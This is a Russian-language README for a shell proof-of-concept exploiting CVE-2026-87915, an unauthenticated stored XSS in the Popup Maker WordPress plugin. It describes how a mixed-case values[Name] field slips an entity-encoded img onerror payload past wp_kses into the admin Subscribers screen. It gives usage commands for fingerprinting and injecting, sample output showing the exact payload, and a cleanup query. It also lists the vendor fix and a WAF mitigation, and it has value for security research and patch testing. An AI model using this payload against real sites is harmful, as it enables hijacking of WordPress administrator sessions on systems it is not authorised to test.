Shell PoC для CVE-2026-87915 — неаутентифицированный хранимый XSS в плагине Popup Maker для WordPress (<=1.24.0). Определяет плагин и демонстрирует внедрение полезной нагрузки.
| Компонент | Popup Maker – Boost Sales, Conversions, Optins, Subscribers (плагин WordPress) |
| Тип | CWE-79 — Хранимый межсайтовый скриптинг |
| Затронуто | <= 1.24.0 |
| Исправлено | 1.25.0 |
| CVE | CVE-2026-87915 — CVSS 3.1 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
Публичная форма подписки/рассылки Popup Maker принимает параметр values[Name] без
санитизации (action=pum_sub_form). Значение сохраняется на сервере и позже отображается в
административном экране Subscribers. Фильтрация wp_kses(), применяемая при выводе,
недостаточна в данном контексте: HTML-сущности внутри допустимых значений атрибутов выживают
после нормализации и вычисляются DOM-стоком jQuery( link.attr('href') ) в
wp-admin/js/common.js, когда администратор кликает по якорю контекстной вкладки справки.
Итоговый эффект: неаутентифицированный хранимый XSS против администратора (требуется один
клик на стороне администратора).
# Интерактивное меню
./poc.sh
# Только чтение: фингерпринтинг плагина и обнаружение публичной формы подписки
./poc.sh check --target https://example.com
# Сохранение полезной нагрузки (записывает ОДНУ строку подписчика; требует авторизации)
./poc.sh inject --target https://example.com --authorized
inject по умолчанию использует уникальный тестовый email и выводит шаги очистки (через
админ-интерфейс или DELETE FROM wp_pum_subscribers WHERE email = '…';).
check)== CVE-2026-87915 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Popup Maker assets are served (plugin installed)
[info] detected version: 1.22.0
[PASS] version 1.22.0 is in the affected range (<= 1.24.0)
[2] Public subscribe form detection (read-only)
[PASS] Popup Maker markup found on the site (a public form may accept values[Name])
inject, лаборатория)[3] Stored injection via pum_sub_form (writes one subscriber row)
response: {"success":true,"data":{"message":"You have been subscribed!"}}
[PASS] the server accepted and stored the payload unauthenticated
values[Name] = <a href="https://github.com/pwnvader/cve-2026-87915-poc-pwnvader/blob/main/%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E">VDP-XSS-PROOF</a>
values[name] (в нижнем регистре) — это обычное поле; values[Name] со смешанным регистром
конфликтует при нормализации ключей массива PHP и проносит полезную нагрузку.wp_kses() допускает элемент <a href>; закодированный сущностями `` внутри
атрибута выживает после фильтрации и позже декодируется/нормализуется.wp-admin/js/common.js вычисляет jQuery( link.attr('href') ), что парсит декодированный HTML
и вызывает обработчик onerror.esc_html() + sanitize_text_field() для
сохраняемого значения; см. изменения вендора для classes/Admin/Subscribers/Table.php).values[Name]
на уровне WAF.Только для авторизованного тестирования безопасности. check работает в режиме только чтения;
inject создаёт ровно одну тестовую строку подписчика — удалите её после этого с помощью
выведенной команды очистки.